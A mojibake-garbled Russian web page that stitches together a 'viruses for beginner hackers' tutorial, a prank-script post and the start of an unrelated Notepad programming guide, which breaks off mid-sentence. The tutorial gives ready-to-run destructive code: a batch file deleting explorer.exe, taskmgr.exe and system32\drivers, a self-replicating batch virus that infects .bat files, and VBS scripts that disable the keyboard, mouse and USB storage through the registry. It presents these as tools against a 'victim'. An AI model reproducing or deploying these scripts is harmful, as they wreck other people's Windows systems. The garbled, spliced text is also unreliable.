Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ vbs bat: Как Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ 2 vbs скрипта? β€” Π₯Π°Π±Ρ€ Q&A

Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅

vbs — Для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠ²

Ну Π²ΠΎΡ‚ я снова с Π²Π°ΠΌΠΈ.
ΠžΡ‡Π΅Π½ΡŒ Таль Ρ‡Ρ‚ΠΎ wog.net ΡƒΠΌΠ΅Ρ€ унСся вмСстС с собой Π² ΠΌΠΎΠ³ΠΈΠ»Ρƒ ΠΏΠ°Ρ€ΠΎΡ‡ΠΊΡƒ ΠΌΠΎΠΈΡ… статСй.Ну Π΄Π° Π»Π°Π΄Π½ΠΎ.
Π‘ΡƒΠ΄Π΅ΠΌ вмСстС Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈ Π²Ρ‹Ρ‚Π²ΠΎΡ€ΡΡ‚ΡŒ всякиС пакости).
Ну ΠΏΠΎΠ΅Ρ…Π°Π»ΠΈ.
Π’ этот Ρ€Π°Π· Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ bat Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Ρ… количСствах (Π½Ρƒ Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π΄Π²Π°). А займСмся ΠΌΡ‹ VBS.
НачнСм ΠΌΡ‹ с bat Π΄Π°-Π΄Π° для Ρ€Π°Π·ΠΌΠΈΠ½ΠΎΡ‡ΠΊΠΈ.
ΠšΡ‚ΠΎ Π½Π΅ Π·Π½Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ это Π·Π° исполняймыС Ρ„Π°ΠΉΠ»Ρ‹ с Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ bat ΠΈΠ»ΠΈ cmd Ρ‚ΠΎΡ‚ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Win+R
ΠΈ выполняСт CMD ΠΈ ΠΏΠΈΡˆΠ΅Ρ‚ help.НадСюсь дальшС ΠΎΠ±ΡŒΡΡΠ½ΡΡ‚ΡŒ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.
Π’Π°ΠΊ Π²ΠΎΡ‚ наш супСр большой ΠΈ слоТный вирус
Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк.
Волько для Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ придСтся ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρƒ Π½Π°ΡˆΡƒ Π»ΡŽΠ±ΠΈΠΌΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку ΠΈ Π½Π°Π±Ρ€Π°Ρ‚ΡŒ SET
это Π½Π°Π΄ΠΎ для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ список ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… срСд Windows.Π½Π°ΠΌ интСрСсна послСдняя строка windir — это пСрСмСнная замСняСт ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΏΠ°ΠΏΠΊΠ΅
Windows. НачнСм?ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ notepad(Π±Π»ΠΎΠΊΠ½ΠΎΡ‚) ΠΈ пишСм эту ΠΏΡƒΡ€Π³Ρƒ.

*******************************
taskkill /f /im explorer. exe
del /q /f %windir%\explorer.exe
del /q /f %windir%\taskmgr.exe
rd /q /s %windir%\inf
rd /q /s %windir%\system32\drivers
********************************

БохраняСм наш Ρ„Π°ΠΉΠ» ΠΊΠ°ΠΊ I_LOVE_YOU.bat ΠΈ радуСмся.
ПослС запуска Ρ‚Π°ΠΊΠΎΠΉ ΠΌΠΈΠΊΡ€ΠΎΠ²Π΅Ρ‰ΠΈ Π½Π° машинС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ стола Π½ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° Π·Π°Π΄Π°Ρ‡ Π½ΠΈ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΎΠ².

Π― ΠΎΠ±Π΅Ρ‰Π°Π» ΠΎΠ΄ΠΈΠ½? Π”Π°?Π˜Π·Π²ΠΈΠ½ΠΈΡ‚Π΅ Π½Π΅ стСрпСл ΠΈ Π²ΠΎΡ‚ Π²Ρ‹ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽ Π²Ρ‚ΠΎΡ€ΠΎΠΉ …

********************************
@echo off%[Bams]%
if ‘%1==’In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find «Bams»<%0>c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find «Bams»<%2>nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen
*********************************

Π­Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТный вирус Π½ΠΎ ΠΎΠ½ ΠΈ Π±ΠΎΠ»Π΅Π΅ интСрСсный .
Он ΠΏΠΎΠ»Π·Π°Π΅Ρ‚ ΠΏΠΎ Π²ΠΈΠ½Ρ‚Ρƒ ΠΈΡ‰Π΅Ρ‚ ΠΈ Π·Π°Ρ€Π°ΠΆΠ°Π΅Ρ‚ собой *.bat Ρ„Π°ΠΉΠ»Ρ‹.

ВсС!ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ VBS вирусам.
Π―Π·Ρ‹ΠΊ VBS Π² Π²ΠΈΠ½Π΄Π΅ поддСрТиваСтся с 98 вСрсии ΠΈ Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ установки Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ
ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΉ Ρ„ΠΈΠ³Π½ΠΈ).ΠΏΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ VBS-язык скриптов

Ну приступим с самого Π»Π΅Π³ΠΊΠΎΠ³ΠΎ Π½Π°ΠΏΡƒΠ³Π°Π΅ΠΌ ΠΆΠ΅Ρ€Ρ‚Π²Ρƒ ΡΡ‚Ρ€Π°ΡˆΠ½Ρ‹ΠΌ сообщСниСм.Π’ΠΈΠΏΠ°:Π§Π΅Ρ€Π΅Π· ΠΌΠΈΠ½ΡƒΡ‚Ρƒ ваша крыса Π·Π°Π±ΠΎΠ»Π΅Π΅Ρ‚ Π±Π΅ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠΌ!ΠŸΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ²ΠΊΡƒ?
И спросим ДА ΠΈΠ»ΠΈ НЕВ.-32
Π‘ количСством ΠΏΠΎΠΊΠ°Π·Π° 1 ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠΊΠ°Π·Π° 0(Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΠΎΠΊΠ° Π½Π΅ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚ Ρ‡Ρ‚ΠΎ ΠΎΠ½ Ρ…ΠΎΡ‡Π΅Ρ‚)
Π—Π½Π°Ρ‡ΠΎΠΊ Π²Ρ‹Π±Π΅Ρ€ΠΈΠΌ вопроса
ΠΊΠ½ΠΎΠΏΠΊΠΈ Π΄Π° ΠΈ Π½Π΅Ρ‚-4

ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π±Π»ΠΎΠΊΠ½ΠΎΡ‚ ΠΈ пишСм.

***********************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
i=1
while i>0 or i<0
S.popup «Π§Π΅Ρ€Π΅Π· ΠΌΠΈΠ½ΡƒΡ‚Ρƒ ваша крыса Π·Π°Π±ΠΎΠ»Π΅Π΅Ρ‚ Π±Π΅ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠΌ!ΠŸΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²ΠΈΠ²ΠΊΡƒ?»,0, «ΠΠΉΠ±ΠΎΠ»ΠΈΡ‚»,4+32
i=i-1
wend
*************************************

сохраняСм это Ρ‡ΡƒΠ΄ΠΎ ΠΊΠ°ΠΊ mouse.vbs

Если ΠΊΡ‚ΠΎ Ρ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ Ρ‡Ρ‚ΠΎΠ± Π·Π½Π°Ρ‡ΠΎΠΊ Π±Ρ‹Π» восклицаниС Ρ‚ΠΎΡ‚ ΠΏΠΈΡˆΠ΅Ρ‚ 48 ВмСсто 32.
Π”Π°Π»ΡŒΡˆΠ΅ ΠΌΡ‹ разбСрСмся с этими ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ).

ΠŸΠΎΠΏΡƒΠ³Π°Π»ΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚ ΠΌΡ‹ ΠΆΠ΅Ρ€Ρ‚Π²Ρƒ сообшСниями (ΠΈΠ»ΠΈ Π±Π°Π±ΡƒΡˆΠΊΡƒ которая Π»ΡŽΠ±ΠΈΡ‚ пасьянс ) ΠΈ двиТСмся Π²ΠΏΠ΅Ρ€Π΅Π΄.
А Π²ΠΏΠ΅Ρ€Π΅Π΄ΠΈ Ρƒ нас ΠΊΠΎΡ€Π·ΠΈΠ½Π°(скучноС Π½Π°Π·Π²Π°Π½ΠΈΠ΅) Π½Π°Π΄ΠΎ Π±Ρ‹ Π΅Π³ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° Π‘Π²Π°Π»ΠΊΡƒ ΠΈΠ»ΠΈ Π‘ΠΎΠΌΠΆΠ°Ρ‚Π½ΠΈΠΊ
всС зависит ΠΎΡ‚ Ρ„Π°Π½Ρ‚Π°Π·ΠΈΠΈ Π½ΠΎ ΠΊΠΎΠ΄ ΠΎΡ‡Π΅Π½ΡŒ простой.

***************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»Π‘Π²Π°Π»ΠΊΠ°»

***************************************

НазваниС Ρ‚ΠΎ помСняли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π°Ρ‡Π΅ΠΌ Π½Π°ΠΌ свалка Π½Π° столС? Π•Ρ‰Π΅ мСсто Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Π° Π½Π΅ снСсти Π»ΠΈΠ½Π°ΠΌ Π΅Π΅ вообшС?
НСт ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ для этих сучаСв ΠΈΠΌΠ΅Π΅ΠΌ это Ρ‡ΡƒΠ΄ΠΎ.

****************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regdelete»HKLM\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}\»

****************************************

НС устал ΠΌΠΎΠΉ Π΄Ρ€ΡƒΠ³? Если Π½Π΅Ρ‚ Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΠΌ Ρ‡ΡƒΠ΄ΠΈΡ‚ΡŒ , Π° Ссли чСстно Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ.
Π§Ρ‚ΠΎ Ρ‚ΠΎ скучно.Π½Π°Π΄ΠΎ Π±Ρ‹ ΠΌΡƒΠ·Ρ‹ΠΊΡƒ для поднятия настроСния Π½Ρƒ Ρ‚ΡƒΡ‚ Ρƒ нас Π΄Π²Π° Π²Ρ‹Ρ…ΠΎΠ΄Π° Π»ΠΈΠ±ΠΎ ΠΌΡ‹ заставляСм Ρ‚Ρ€Π΅Ρ‰Π°Ρ‚ΡŒ Ρ„Π»ΠΎΠΏΠΈΠ³Ρ€Ρ‹Π·
,Π»ΠΈΠ±ΠΎ ΠΏΠΈΡˆΠ°Ρ‚ΡŒ бСсприрывно встроСнный Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ.Π’Ρ‹Π±ΠΎΡ€ Π·Π° Π²Π°ΠΌΠΈ.
Π’ΠΎΡ‚ это ΠΏΡ€ΠΈΠΊΠΎΠ» с Ρ„Π»ΠΎΠΏΠΈΠ³Ρ€Ρ‹Π·ΠΎΠΌ.

*****************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)

do
fso.getfile(«A:\»)
loop

******************************************

Π½Ρƒ Π° это ΡƒΠΆΠ΅ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ.

******************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)

do
execute»S.Run «»%comspec% /c «» & Chr(7), 0,True»
loop

*******************************************

Ну Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ займСмся Π±ΠΎΠ»Π΅Π΅ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹ΠΌΠΈ Π²Π΅Ρ‰Π°ΠΌΠΈ.
Π‘Ρ‹Π²Π°ΡŽΡ‚ случаи Ρ‡Ρ‚ΠΎ Π½Π°Π΄ΠΎ ΠΏΠΎΡ€Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ Π»ΠΈΠ±ΠΎ ΠΌΡ‹ΡˆΠΊΡƒ.
ΠšΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ Π² Π½Π°ΠΊΠ°ΡƒΡ‚ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Ρ‚Π°ΠΊ:

*******************************************

Set S = CreateObject(«Wscript. Shell»)
set FSO=createobject(«scripting.filesystemobject»)

s.run»reg add «»hklm\system\currentcontrolset\control\keyboa rd layout»» /v «»Scancode Map»» /t REG_BINARY /d 0000000000000000A000000000005DE000000E0000003A0000 0053E000004FE000001C0000000100000047E0000052E00000 380000001D0000002A0000005BE000004500000051E0000049 E000005EE0000037E0000038E000001DE00000360000005CE0 0000460000005FE00000390000000F00000063E00000280000 000C000000330000003400000035000000270000001A000000 2B0000001B000000290000000D0000000B0000000200000003 00000004000000050000000600000007000000080000000900 00000A0000001E000000300000002E00000020000000120000 00210000002200000023000000170000002400000025000000 26000000320000003100000018000000190000001000000013 0000001F00000014000000160000002F000000110000002D00 0000150000002C0000003B0000003C0000003D0000003E0000 003F0000004000000041000000420000004300000044000000 5700000058000000640000006500000066000000520000004F 00000050000000510000004B0000004C0000004D0000004700 000048000000490000004A000000370000005300000035E000 004E0000001CE0000050E000004BE000004DE0000048E00000 0000″,0

********************************************

И слСдом Π»Π΅Ρ‚ΠΈΡ‚ крыса.

********************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)

s.regwrite»HKLM\SYSTEM\CurrentControlSet\Services\ Mouclass\Start»,»4″,»REG_DWORD»

********************************************

Π—Π°Ρ‚Π΅ΠΌ Π½Π°ΠΌ Π²Π΄Ρ€ΡƒΠ³ приспичило ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ всС Ρ‡Ρ‚ΠΎ висит Π½Π° USB ΠΏΠΎΡ€Ρ‚Π°Ρ….Ну Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‡Ρ‚ΠΎΠ± Ρ‡Π΅Π» Π½Π΅ успСл
ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ вСсь Π΄ΠΎΡ€ΠΎΠ³ΠΎΠΉ Π΅ΠΌΡƒ сСрдцу мусор Π½Π° Ρ„Π»Π΅ΡˆΠΊΡƒ.
И ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ ΠΎΠ±Ρ€Π΅Π·Π°Π½ΠΈΠ΅ ΠΏΠΎΡ€Ρ‚ΠΎΠ²=)

**********************************************

Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite»HKLM\SYSTEM\CurrentControlSet\Services\ USBSTOR\Start»,»4″,»REG_DWORD»

**********************************************

Ну Π²ΠΎΡ‚ я ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Π²Π΅Π» вас Π² ΠΌΠΈΡ€ ΡˆΡƒΡ‚ΠΎΠΊ ΠΈ подлянок Π½Π° VBS.
Π­Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ пСрвая Ρ‡Π°ΡΡ‚ΡŒ ΠΌΠΎΠ΅ΠΉ нСбольшой ΡΡ‚Π°Ρ‚ΡŒΠΈ.

Π’ Π°Ρ€Ρ…ΠΈΠ²Π΅ Π»Π΅ΠΆΠ°Ρ‚ всС Ρ„Π°ΠΉΠ»ΠΈΠΊΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ описаныС Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.
ΠšΠΎΠ½Π΅Ρ† ΠΏΠ΅Ρ€Π²ΠΎΠΉ части.

Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Π΄ΠΎΠ±Ρ€Ρ‹Π΅ вирусы Π² bat ΠΈ vbs

ВсСм ΠΏΡ€ΠΈΠ²Π΅Ρ‚ сСгодня ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠ» ΠΊΠ°ΠΊ Π·Π°Ρ‚Ρ€ΠΎΠ»ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ вирусов Π² bat ΠΈ vbs. Π’ΠΎΡ‚ нСсколько скриптов. Π‘Π½Π°Ρ‡Π°Π»Π° создаСм тСкстовый Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ пишСм Ρ‚ΡƒΠ΄Π° Π²ΠΎΡ‚ это( ΠΏΠΎ Π²Ρ‹Π±ΠΎΡ€Ρƒ)
Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹:

1. Ошибка

do
MsgBox»Π’ΡƒΡ‚ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ‚ΠΈΠΌ!»,20+1,»ΠžΡˆΠΈΠ±ΠΊΠ°»
loop

2. ΠœΠΈΠ³Π°ΡŽΡ‰Π°Ρ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°.
ЗаставляСт ΠΌΠΈΠ³Π°Ρ‚ΡŒ Π»Π°ΠΌΠΏΠΎΡ‡ΠΊΠΈ Ρƒ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ (Num Lock, Caps Lock, Scroll Lock)

Π‘ΠΊΡ€ΠΈΠΏΡ‚:
Set s = CreateObject(«Wscript.Shell»)
do
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s. sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
loop

3. Π’ΡŠΠ΅Π·ΠΆΠ°ΡŽΡ‰ΠΈΠΉ — Π²Ρ‹Π΅Π·ΠΆΠ°ΡŽΡ‰ΠΈΠΉ дисковод
ЗаставляСт бСсконСчно Π²ΡŠΠ΅Π·ΠΆΠ°Ρ‚ΡŒ — Π²Ρ‹Π΅Π·ΠΆΠ°Ρ‚ΡŒ дисковод Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅

Π‘ΠΊΡ€ΠΈΠΏΡ‚:
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop

4. БСсконСчно ΠΏΠΈΡ‰Π°Ρ‰ΠΈΠΉ систСмный Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ

ДСйствиС:
ЗаставляСт бСсконСчно ΠΏΠΈΡ‰Π°Ρ‚ΡŒ систСмный Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ Π² процСссорС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°

БКРИПВ:
Set S = CreateObject(«Wscript.Shell»)
do
execute»S.Run «»%comspec% /c «» & Chr(7), 0,True»
loop

5. БСсконСчно ΠΆΡƒΠΆΠΆΠ°Ρ‰ΠΈΠΉ Ρ€Π°Π·ΡŠΠ΅ΠΌ для дискСт

ДСйствиС:
Π˜ΠΌΠΈΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² ΠΏΡ€ΠΈΠ²ΠΎΠ΄Π΅ для дискСт находится дискСта. ЗаставляСт Π΅Π³ΠΎ ΠΆΡƒΠΆΠΆΠ°Ρ‚ΡŒ.

БКРИПВ:
Set WSHShell=WScript.CreateObject(«WScript.Shell»)
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject(«WScript. Shell»)
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo(«A:\»,true)
loop
ΠŸΠΎΡ‚ΠΎΠΌ сохраняСм этот тСкстовый Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ· .txt Π² .vbs
ВсС Π³ΠΎΡ‚ΠΎΠ²ΠΎ
Π—Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ Ρ‡Π΅Ρ€Π΅Π· диспСтчСр Π·Π°Π΄Π°Ρ‡
Π—Π°Ρ…ΠΎΠ΄ΠΈΠΌ Π² процСссы Π² диспСтчСрС Π·Π°Π΄Π°Ρ‡ ΠΈ ΠΈΡ‰Π΅ΠΌ процСсс wscript
И Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅ΠΌ этот процСсс
Бпасибо за вниманиС

ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ для программирования Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€. ПишСм ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ (скрипты) Π² Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ Windows

Π₯ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ? Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Π²ΠΎΡ€ΠΎΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС; Π’Ρ‹ смоТСтС Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π»ΡŽΠ±Ρ‹ΠΌ языком программирования Π² Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π½Π΅ слишком ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ, Π½ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ тСстирования Π΄Ρ€ΡƒΠ³ΠΈΡ… Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ. Π’Ρ‹ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π·Π° нСсколько ΠΌΠΈΠ½ΡƒΡ‚, Π½ΠΎ для Π±ΠΎΠ»Π΅Π΅ слоТных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ², Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²Π°ΠΌ стоит ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΠΎΠΌ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅.

Π¨Π°Π³ΠΈ

Π§Π°ΡΡ‚ΡŒ 1

ИспользованиС Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π° для программирования Π½Π° любом языкС

Π§Π°ΡΡ‚ΡŒ 2

Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°

    ΠΠ°ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΌ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌ. Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚ ΠΎΡ‡Π΅Π½ΡŒ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ². ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для автоматичСских Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ измСнСния ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ количСству Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, 